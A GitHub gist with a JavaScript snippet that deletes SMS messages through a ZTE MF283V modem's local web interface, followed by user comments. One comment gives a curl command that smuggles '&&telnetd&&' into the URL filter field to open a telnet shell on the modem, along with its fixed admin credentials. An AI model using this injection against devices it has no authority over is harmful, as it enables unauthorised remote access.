Skip to content

Instantly share code, notes, and snippets.

@milankragujevic
Last active April 11, 2025 12:02
Show Gist options
  • Save milankragujevic/21297ccdafc07cfb51823ebe5d117d64 to your computer and use it in GitHub Desktop.
Save milankragujevic/21297ccdafc07cfb51823ebe5d117d64 to your computer and use it in GitHub Desktop.
Delete SMS if broken modem UI on ZTE MF283V
var ids = [4,5,6,7,8,9,10,11,12,13,14]
ids.forEach(function (id) {
if(id) {
fetch("http://192.168.0.1/goform/goform_set_cmd_process", {"credentials":"include","headers":{},"referrer":"http://192.168.0.1/index.html","referrerPolicy":"no-referrer-when-downgrade","body":"isTest=false&goformId=DELETE_SMS&msg_id=" + id + "&notCallback=true","method":"POST","mode":"cors"});
}
})
@tomkarlito
Copy link

It worked, thank you!

@milankragujevic
Copy link
Author

👍

@KazuDante89
Copy link

KazuDante89 commented Mar 26, 2021

@milankragujevic off subject but device related question : any luck on getting root access to the MF283V ?

@milankragujevic
Copy link
Author

milankragujevic commented Mar 26, 2021

@KazuDante89

Yes, very easy.

  1. to enable telnet, log in via web browser then run this command from bash shell:
  2. curl "http://192.168.0.1/goform/goform_set_cmd_process" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "Referer: http://192.168.0.1/index.html" --data "isTest=false&goformId=URL_FILTER_ADD&addURLFilter=http%3A%2F%2Ffakeurl%2F%26%26telnetd%26%26"
  3. the command is needed to be run only once!
  4. to disable telnet, factory reset the modem

Connect via telnet to port 4719, user and pass is "admin" and cannot be changed.

I have a reboot script here: https://gist.github.com/milankragujevic/9cfc5825c6cbc20900b94f6a75bf81d3

@KazuDante89
Copy link

@KazuDante89

Yes, very easy.

  1. to enable telnet, log in via web browser then run this command from bash shell:
  2. curl "http://192.168.0.1/goform/goform_set_cmd_process" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "Referer: http://192.168.0.1/index.html" --data "isTest=false&goformId=URL_FILTER_ADD&addURLFilter=http%3A%2F%2Ffakeurl%2F%26%26telnetd%26%26"
  3. the command is needed to be run only once!
  4. to disable telnet, factory reset the modem

Connect via telnet to port 4719, user and pass is "admin" and cannot be changed.

I have a reboot script here: https://gist.github.com/milankragujevic/9cfc5825c6cbc20900b94f6a75bf81d3

tried reboot script got {"result":"failure"}. my modem has been acting weird lately to the point that it no longer receives lte as it used to .

@milankragujevic
Copy link
Author

Do a factory reset of the modem with the button.

@KazuDante89
Copy link

Do a factory reset of the modem with the button.

just tried and curl command still resulted in failure sadly .

@KazuDante89
Copy link

im thinking the fact that mine was rebranded by provider , they changed something in the firmware .

@KazuDante89
Copy link

but not sure if a dump of another mf283v firmware unlocked would fix some of these issues . i heard that wps and reset (something like that ) puts the device in recovery mode tho never tried it and i think thats using UART interface .

@milankragujevic
Copy link
Author

Did you log in to webui before? Do not reflash the mkdwm, you will break it.

@KazuDante89
Copy link

Did you log in to webui before? Do not reflash the mkdwm, you will break it.

before trying the curl command: yes
dont even know how to reflash it also i do not have a dump from another device that's unlocked to try it , but i will remember that for future ref.

@adward2007
Copy link

Добрый день! Пытаюсь почистить память в роутере ZTE MF 910.
Каким образом запустить там скрипт? Может можно как-то запустить очистку всех смс из адресной строки браузера?

@goors
Copy link

goors commented Apr 11, 2025

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment